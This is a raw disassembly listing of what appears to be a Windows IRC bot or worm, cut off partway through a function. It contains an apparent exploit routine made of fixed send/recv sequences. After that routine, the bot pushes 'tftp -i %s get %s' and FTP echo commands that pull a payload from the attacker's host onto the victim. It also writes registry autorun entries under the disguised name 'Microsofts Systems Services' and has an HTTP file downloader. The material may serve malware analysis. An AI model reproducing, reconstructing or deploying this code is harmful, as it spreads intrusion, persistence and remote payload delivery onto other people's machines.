loc_4027F6: ; CODE XREF: sub_4027C8+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_4027C8 endp
; =============== S U B R O U T I N E =======================================
sub_4027FD proc near ; CODE XREF: sub_40263D+35p
; sub_40263D+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_402810
call sub_41794C
loc_402810: ; CODE XREF: sub_4027FD+Cj
mov ecx, edi
call sub_402921
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_402826
mov ebx, eax
loc_402826: ; CODE XREF: sub_4027FD+25j
test ebx, ebx
jbe short loc_40285C
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40D460
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40270A
test al, al
jz short loc_40285C
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40285C: ; CODE XREF: sub_4027FD+2Bj
; sub_4027FD+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_4027FD endp
; =============== S U B R O U T I N E =======================================
sub_402864 proc near ; CODE XREF: sub_40270A+7Ap
mov eax, offset loc_417C00
call sub_40D3D8
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40288A
mov edi, [ebp+8]
loc_40288A: ; CODE XREF: sub_402864+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_402897
xor eax, eax
loc_402897: ; CODE XREF: sub_402864+2Fj
push eax
call sub_40D795
pop ecx
mov [ebp+8], eax
jmp short loc_4028C8
; ---------------------------------------------------------------------------
loc_4028A3: ; DATA XREF: .nsp0:00418ECCo
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_4028B2
xor eax, eax
loc_4028B2: ; CODE XREF: sub_402864+4Aj
push eax
call sub_40D795
mov [ebp+8], eax
pop ecx
mov eax, offset loc_4028C2
retn
; ---------------------------------------------------------------------------
loc_4028C2: ; DATA XREF: sub_402864+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_4028C8: ; CODE XREF: sub_402864+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_4028E6
cmp eax, edi
jbe short loc_4028D5
mov eax, edi
loc_4028D5: ; CODE XREF: sub_402864+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call near ptr sub_40C820
add esp, 0Ch
loc_4028E6: ; CODE XREF: sub_402864+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_402790
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_402906
mov edi, ebx
loc_402906: ; CODE XREF: sub_402864+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_402864 endp
; =============== S U B R O U T I N E =======================================
sub_402921 proc near ; CODE XREF: sub_4027FD+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40294E
mov al, [esi-1]
test al, al
jz short loc_40294E
cmp al, 0FFh
jz short loc_40294E
push 1
call sub_402790
push esi
call sub_40CBC0
pop ecx
push eax
push esi
mov ecx, edi
call sub_4027C8
loc_40294E: ; CODE XREF: sub_402921+9j
; sub_402921+10j ...
pop edi
pop esi
retn
sub_402921 endp
; =============== S U B R O U T I N E =======================================
sub_402951 proc near ; DATA XREF: .nsp0:0041A004o
test byte_4820AC, 1
jnz short loc_402961
or byte_4820AC, 1
loc_402961: ; CODE XREF: sub_402951+7j
jmp $+5
push offset nullsub_1
call sub_40D810
pop ecx
retn
sub_402951 endp
; =============== S U B R O U T I N E =======================================
sub_402972 proc near ; CODE XREF: .nsp0:00402FA2p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_40CCA0
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
call dword_4181B4 ; socket
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
call dword_41819C ; inet_addr
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
call dword_4181A0 ; htons
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
call dword_4181A4 ; connect
test eax, eax
jge short loc_4029D3
loc_4029CC: ; CODE XREF: sub_402972+275j
xor eax, eax
jmp loc_402DFE
; ---------------------------------------------------------------------------
loc_4029D3: ; CODE XREF: sub_402972+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call dword_4181A8 ; setsockopt
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_403CA3
pop ecx
cmp eax, 2
pop ecx
jz loc_402BEC
cmp eax, 1
jz loc_402BEC
mov ebx, dword_4181B8
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; send
mov ebp, dword_4181AC
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_41AA00
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_41AA60
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_41AB18
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_41AC10
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_41AC50
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_41ACB8
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41AD50
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41AEB0
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B010
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_41B170
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz loc_402DC7
push 0
push 15Bh
push offset dword_41AD50
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41AEB0
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B010
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_41B170
push esi
call ebx ; send
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_40CC40
add esp, 0Ch
loc_402BB3: ; CODE XREF: sub_402972+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz loc_402DC7
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_402DC8
call dword_4181B0 ; closesocket
jmp loc_4029CC
; ---------------------------------------------------------------------------
loc_402BEC: ; CODE XREF: sub_402972+95j
; sub_402972+9Ej
mov ebx, dword_4181B8
push edi
push 48h
push offset unk_41B1E0
push esi
call ebx ; send
mov ebp, dword_4181AC
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_41B230
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_41B290
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_41B348
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 66h
push offset dword_41B440
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_41B4A8
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_41B4E8
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_41B550
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B5E8
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B748
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B8A8
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41BA08
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_41BB68
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_402DC7
cmp eax, 0FFFFFFFFh
jz short loc_402DC7
push 0
push 15Bh
push offset dword_41B5E8
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B748
push esi
call ebx ; send
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41B8A8
push esi
call ebx ; send
push 0
lea eax, [esp+238h+var_210]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_41BA08
push esi
call ebx ; send
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_41BB68
push esi
call ebx ; send
jmp loc_402BB3
; ---------------------------------------------------------------------------
loc_402DC7: ; CODE XREF: sub_402972+1C4j
; sub_402972+1CDj ...
push esi
loc_402DC8: ; CODE XREF: sub_402972+269j
call dword_4181B0 ; closesocket
push 7D0h
call dword_418040 ; Sleep
sub esp, 0BCh
lea esi, [esp+268h+arg_136F8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402E09
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
loc_402DFE: ; CODE XREF: sub_402972+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_402972 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E09 proc near ; CODE XREF: sub_402972+47Bp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_42D8B4 ; inet_addr
push 0BEEFh
mov [ebp+var_C], eax
call dword_42D878 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_42D8F4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_402F41
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_42D824 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402F41
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42D890 ; recv
mov esi, offset byte_41DF08
push esi
push esi
push [ebp+arg_0]
call sub_4058DC
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40D3F7
add esp, 18h
push esi
push esi
push dword_42D334
push [ebp+arg_0]
call sub_4058DC
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40D3F7
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_42D8C4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_402F41
push 1F4h
call dword_418040 ; Sleep
push esi
push offset dword_41BC38
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_40D3F7
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_42D8C4 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402F45
loc_402F41: ; CODE XREF: sub_402E09+4Fj
; sub_402E09+65j ...
xor eax, eax
jmp short loc_402F64
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402E09+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42D890 ; recv
push ebx
call dword_42D90C ; closesocket
xor eax, eax
inc eax
loc_402F64: ; CODE XREF: sub_402E09+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_402E09 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp dword ptr [ebp+0A8h], 8Bh
push edi
jz short loc_402F92
cmp dword ptr [ebp+0A8h], 1BDh
jnz loc_403017
loc_402F92: ; CODE XREF: .nsp0:00402F80j
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402972
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_403017
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset word_41A04A
push eax
push offset aH1dd3nS__RootS ; "h1dd3n (%s) .. Root searching %s"
lea eax, [ebp-200h]
push 200h
push eax
call sub_40D3F7
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_404555
lea eax, [ebp-200h]
push eax
call sub_403145
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
lea eax, dword_41A070[eax]
inc dword ptr [eax]
loc_403017: ; CODE XREF: .nsp0:00402F8Cj
; .nsp0:00402FB1j
mov eax, esi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40301D proc near ; CODE XREF: sub_403E11+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_40CB5F
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_418228
call sub_40CF0C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_40301D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40304D proc near ; CODE XREF: sub_4077FD+2901p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_42E688
mov edi, 0B8h
loc_403061: ; CODE XREF: sub_40304D+33j
cmp byte ptr [esi], 0
jz short loc_403084
push [ebp+arg_0]
push esi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_403084
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_42F208
jl short loc_403061
jmp short loc_4030C6
; ---------------------------------------------------------------------------
loc_403084: ; CODE XREF: sub_40304D+17j
; sub_40304D+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_42E688[esi]
push ebx
call sub_40CC40
push 17h
push [ebp+arg_0]
push ebx
call sub_40C720
push 9Fh
lea eax, dword_42E6A0[esi]
push [ebp+arg_4]
push eax
call sub_40C720
add esp, 24h
inc dword_41E170
pop ebx
loc_4030C6: ; CODE XREF: sub_40304D+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40304D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030CD proc near ; CODE XREF: sub_4077FD+3551p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aAliasList ; "-[Alias List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
xor edi, edi
mov esi, offset dword_42E688
loc_4030F7: ; CODE XREF: sub_4030CD+72j
cmp byte ptr [esi], 0
jz short loc_403132
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+var_200]
push 200h
push eax
call sub_40D3F7
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 2Ch
loc_403132: ; CODE XREF: sub_4030CD+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_42F208
jl short loc_4030F7
pop edi
pop esi
leave
retn
sub_4030CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403145 proc near ; CODE XREF: sub_401000+BEp
; sub_4010CA+6Dp ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_418068 ; GetLocalTime
mov ebx, offset dword_42D2F8
mov edi, 0C0h
mov esi, offset dword_4242F8
loc_403167: ; CODE XREF: sub_403145+40j
cmp byte ptr [ebx], 0
jz short loc_403181
push 0BFh
lea eax, [ebx+0C0h]
push ebx
push eax
call sub_40C720
add esp, 0Ch
loc_403181: ; CODE XREF: sub_403145+25j
sub ebx, edi
cmp ebx, esi
jge short loc_403167
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_40D3F7
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_403145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4031BC proc near ; CODE XREF: sub_40322D+4p
; sub_40551B+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aMicrosoftsSyst ; "Microsofts Systems Services"
loc_4031CC: ; CODE XREF: sub_4031BC+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_41BD2C[esi]
push dword_41BD28[esi]
call dword_42D830 ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_40320D
push [ebp+arg_0]
call sub_40CBC0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_42D89C ; RegSetValueExA
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_40320D: ; CODE XREF: sub_4031BC+33j
push ebx
push [ebp+var_4]
call dword_42D7F0 ; RegDeleteValueA
loc_403217: ; CODE XREF: sub_4031BC+4Fj
push [ebp+var_4]
call dword_42D854 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_4031CC
pop edi
pop esi
pop ebx
leave
retn
sub_4031BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40322D proc near ; CODE XREF: sub_40322D+16j
; DATA XREF: sub_407041+36Bo
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4031BC
pop ecx
push dword_41BD24
call dword_418040 ; Sleep
jmp short sub_40322D
sub_40322D endp
; =============== S U B R O U T I N E =======================================
sub_403245 proc near ; CODE XREF: sub_40327E+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_403277
mov ecx, 0FFh
push ebx
loc_40325C: ; CODE XREF: sub_403245+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_418230[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40325C
pop ebx
loc_403277: ; CODE XREF: sub_403245+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_403245 endp
; =============== S U B R O U T I N E =======================================
sub_40327E proc near ; CODE XREF: sub_4032EE+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_40CCCF
mov [esp+10h+var_10], offset dword_41BD40
push [esp+10h+arg_0]
mov esi, eax
call sub_40DDC8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_4032C9
loc_4032A3: ; CODE XREF: sub_40327E+37j
xor eax, eax
jmp short loc_4032EA
; ---------------------------------------------------------------------------
loc_4032A7: ; CODE XREF: sub_40327E+4Fj
inc ebx
push ebx
push esi
call sub_40DB08
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4032A3
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_40DA20
add esp, 10h
loc_4032C9: ; CODE XREF: sub_40327E+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4032A7
dec ebx
push ebx
push esi
call sub_403245
push esi
mov ebx, eax
call sub_40CD81
push edi
call sub_40D9CA
add esp, 10h
mov eax, ebx
loc_4032EA: ; CODE XREF: sub_40327E+27j
pop edi
pop esi
pop ebx
retn
sub_40327E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032EE proc near ; DATA XREF: sub_4077FD+2213o
; sub_4077FD+25CEo
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_42D82C
call dword_42D798 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_403767
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_418084 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_4033B5
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_41BF28
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_403398
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
add esp, 14h
loc_403398: ; CODE XREF: sub_4032EE+88j
lea eax, [ebp+var_510]
push eax
call sub_403145
push [ebp+var_48]
call sub_40C378
pop ecx
pop ecx
push esi
call dword_418050 ; ExitThread
loc_4033B5: ; CODE XREF: sub_4032EE+68j
xor edi, edi
call dword_41805C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_40CCCF
pop ecx
mov [ebp+var_1C], eax
loc_4033CF: ; CODE XREF: sub_4032EE+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_42D7A0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_403413
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_4037CD
pop ecx
pop ecx
loc_403413: ; CODE XREF: sub_4032EE+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_418080 ; WriteFile
cmp edi, ebx
jnb short loc_403451
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40343B
mov eax, [ebp+arg_0]
loc_40343B: ; CODE XREF: sub_4032EE+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call near ptr sub_40C820
add esp, 0Ch
loc_403451: ; CODE XREF: sub_4032EE+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40345E
cmp edi, [ebp+var_3C]
ja short loc_40349D
loc_40345E: ; CODE XREF: sub_4032EE+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_42F208
cmp [ebp+var_44], 1
jz short loc_403486
push offset unk_41BEF0
jmp short loc_40348B
; ---------------------------------------------------------------------------
loc_403486: ; CODE XREF: sub_4032EE+18Fj
push offset unk_41BEBC
loc_40348B: ; CODE XREF: sub_4032EE+196j
push eax
call sub_40C6C3
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_4033CF
loc_40349D: ; CODE XREF: sub_4032EE+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4034F2
cmp edi, [ebp+var_3C]
jz short loc_4034F2
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_41BE84
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 28h
loc_4034F2: ; CODE XREF: sub_4032EE+1B9j
; sub_4032EE+1BEj
call dword_41805C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_41807C ; CloseHandle
push [ebp+var_1C]
call sub_40CD81
cmp [ebp+var_38], esi
pop ecx
jz short loc_40357C
lea eax, [ebp+var_148]
push eax
call sub_40327E
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40357C
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_41BE58
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_404555
lea eax, [ebp+var_510]
push eax
call sub_403145
add esp, 28h
loc_40357C: ; CODE XREF: sub_4032EE+236j
; sub_4032EE+248j
